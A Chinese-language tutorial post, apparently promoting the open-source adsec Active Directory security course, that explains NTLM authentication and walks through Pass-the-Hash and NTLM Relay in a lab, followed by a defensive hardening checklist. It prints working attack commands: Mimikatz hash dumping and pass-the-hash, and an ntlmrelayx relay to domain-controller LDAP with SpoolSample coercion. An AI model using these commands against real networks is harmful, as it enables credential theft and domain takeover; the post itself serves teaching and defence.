NTLM 认证 3 步拆解:从一条哈希到拿下整个域,AD 安全实战指南
【免费下载链接】adsecAn introduction to Active Directory security项目地址: https://gitcode.com/gh_mirrors/ad/adsec
安全分析里有个反直觉的案例:密码从未外泄,攻击者却以 Administrator 身份登录了服务器。元凶通常是 NTLM 认证——Windows 世界里最老的挑战-应答协议,它默认"哈希即凭证"。adsec 是一套从零讲 Active Directory(AD)安全的开源课程:slides/ 里是理论课件,lab-setup/ 是实验环境搭建指南,exercises/ 提供 8 个动手攻防练习,NTLM 章节正是整门课的地基。这篇文章带你把 NTLM 认证的机制、两条经典攻击路径和一整套防御动作走一遍。
"拿不到明文密码就登不进去?"——这个命题不成立
先给结论:NTLM 场景下,哈希就是钥匙。
Windows 里每个账户的密码,实际只以"指纹"形式保存,即 NTLM 哈希(NTHash)——对密码做一次 MD4 散列得到的 16 字节值。它存在于两个地方:
| 存储位置 | 保存谁的哈希 |
|---|---|
| 本地 SAM 数据库 | 本机账户(如 Administrator) |
| 域控上的 NTDS.dit | 域内所有账户 |
NTLM 认证全程只用这个指纹,不碰明文。也就是说:拿到哈希,不破解也能冒充该用户完成认证。这正是 Pass-the-Hash(PtH,"拿哈希当密码用")能实现域内横向移动的根本原因。
顺带一个企业常见坑:所有机器用同一个本地管理员密码。后果是每台机器的 NTHash 完全一致,攻破一台等于攻破全部。
挑战-应答三步走:服务器为什么从不索要密码
NTLM 的设计目标是密码永不上网,整个过程是三轮对话:
- 协商:客户端声明自己支持的版本(v1/v2)与签名、加密能力;
- 挑战:服务器每次生成一个随机数(Challenge)下发,专门防止攻击者重放旧认证包;
- 认证:客户端用 NTHash 作为密钥对这个随机数做运算,把结果连同用户名发回;服务器用自己存的哈希做同样运算,结果一致即放行。
一个比喻:银行从不传输你的密码,只让你用它对银行给的随机数"加密作答"。你答得和银行那边算出的一模一样,就证明你握有密码——协议本身没暴露它,但暴露了哈希。
NTLMv1 还是 v2:为什么任何场景都应禁掉 v1
两个版本的本质差别在"作答算法":
| 对比项 | NTLMv1 | NTLMv2 |
|---|---|---|
| 响应算法 | 基于 DES 加密 8 字节挑战 | 基于 HMAC-MD5 的密钥散列 |
| 挑战长度 | 8 字节 | 16 字节 |
| 客户端随机数 | 无 | 有(含时间戳) |
| 上下文信息 | 不包含 | 包含目标信息与时间戳 |
| 抗离线破解 | 弱,彩虹表可直查 | 相对更强,但仍受诟病 |
判断很明确:NTLMv1 在任何场景都应禁用。它的响应只依赖 8 字节挑战、不含任何上下文,抓包后可逐条离线验证或直接查彩虹表还原口令。用组策略把"网络安全:LAN 管理器身份验证级别"设为"仅发送 NTLMv2 响应"是底线动作。
两条高频攻击路径:PtH 与 Relay
看懂机制就能看懂攻击。adsec 的练习 2 和练习 3 正是这两个主题,完整步骤见 exercises/2-NTLM.md 与 exercises/3-NTLM-Relay.md。
Pass-the-Hash:把哈希当钥匙直接用 🔑
攻击者拿下跳板机后(实验设定:域用户 john 的客户端 ADSEC-00 已被攻陷),用 Mimikatz 从 SAM 库提取本地管理员哈希:
privilege::debug lsadump::sam再用哈希直接起一个以该身份运行的 Shell:
sekurlsa::pth /user:Administrator /ntlm:<hash> /domain:doesnotmatter最后 PsExec 一条命令连到 ADSEC-01,横向移动完成——全程没碰过密码。
NTLM Relay:让受害者"主动上门认证" 🔁
PtH 是"我自己用你的钥匙",Relay 是"借你的钥匙去敲更贵的那扇门"。关键前提:NTLM 认证不绑定目标服务身份,攻击者架好中继站,就能把受害者发起的认证转发到域控 LDAP。
难点在于让受害者主动来认证(强制认证)。实验里用 SpoolSample 利用 MS-RPRN 打印协议的缺陷触发(与 PetitPotam 同类),配合 ntlmrelayx 中继到域控:
ntlmrelayx.py --no-smb-server --delegate-access --escalate-user evilpc$ -t ldap://adsec-dc.contoso.com.\SpoolSample.exe adsec-01 adsec-00@80/foobar成功后控制台会显示Delegation rights modified——攻击者已往受害计算机对象写入了委派权限,为后续 Kerberos RBCD 攻击(练习 6)铺好路。
实验环境从零搭建:一键建站步骤
以上攻击都可在 adsec 的官方实验环境复现,步骤以 lab-setup/README.md 为准:
- 建 3 台 Windows Server 2019 虚拟机:域控 ADSEC-DC + 成员机 ADSEC-00/01,各 2 核 4G、同子网;有 Azure 账号可用 Terraform 一键部署;
- 在 ADSEC-DC 上执行 create-domain.ps1 建立 contoso.com 域,重启;
- 两台成员机加域,再在域控运行 domainprepare.ps1 批量创建用户、组、OU(含 john、blee 两个测试用户);
- 在"已被攻陷"的 ADSEC-00 上把攻击工具包解压到 C:\attacker-tools(zip 密码 infected),运行 install-choco-and-dependencies.ps1 装好 Python、Neo4j 等依赖。
注意环境里刻意埋的坑:两台成员机本地管理员密码相同——这是 PtH 能打通的前置条件,也正是它模拟真实企业隐患的地方。
8 个练习路线表:从 0 到 1 复现顺序
| 顺序 | 主题 | 练习文件 |
|---|---|---|
| 1 | 侦察与信息收集 | exercises/1-Reconnaissance.md |
| 2 | NTLM 与 Pass-the-Hash | exercises/2-NTLM.md |
| 3 | 强制认证与 NTLM Relay | exercises/3-NTLM-Relay.md |
| 4 | Kerberos Roasting | exercises/4-Kerberos-Roasting.md |
| 5 | Kerberos 经典委派 | exercises/5-Kerberos-Delegation.md |
| 6 | 资源受限委派(RBCD) | exercises/6-Kerberos-RBCD.md |
| 7 | ACL 滥用 | exercises/7-ACL.md |
| 8 | 攻击持久化 | exercises/8-Persistence.md |
理论课件 slides/AD-Security-101.pdf 中按节奏穿插了对应练习的引用,适合"讲一段、练一段"。建议优先做完 2、3:把 NTLM 吃透,因为练习 3 写入的委派属性会直通练习 6 的 RBCD,形成完整闭环。
换防御视角:一份可执行的加固清单
攻击能复现,防御同样可落地。按"投入产出比"排序:
| 动作 | 挡住的风险 | 要点 |
|---|---|---|
| 强制 NTLMv2 + 启用 SMB 签名 | v1 降级、Relay | 组策略设置身份验证级别与签名要求 |
| 启用扩展保护(EPA) | Relay 重放 | 把认证绑定到具体 TLS 通道,别处无法重放 |
| LAPS 本地管理员密码随机化 | PtH 横向 | 每台机器独立随机密码,斩断"哈希全同" |
| 分阶段限制 NTLM | 面过大 | 先审计入/出站流量,再拒绝,最后局部禁用 |
| 打补丁 + 监控 | 强制认证 | 修 MS-RPRN/MS-EFSRPC;监控域控上"新计算机账户 + 委派属性变更"组合事件 |
下一步建议:先在实验室复现练习 2,亲眼确认哈希能当密码用;再打通练习 3 的 Relay 全链路。亲手做过一次,你自然理解上表中为什么域控 LDAP 监控和 LAPS 是必做项。
💡小贴士:Relay 成功后,受害计算机对象的msds-allowedtoactonbehalfofotheridentity属性是一串看似数字的 SDDL 二进制串,练习 6 会用到它——现在就可以试着用 PowerShell 把它转成可读 ACL,正好当热身题。
【免费下载链接】adsecAn introduction to Active Directory security项目地址: https://gitcode.com/gh_mirrors/ad/adsec
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考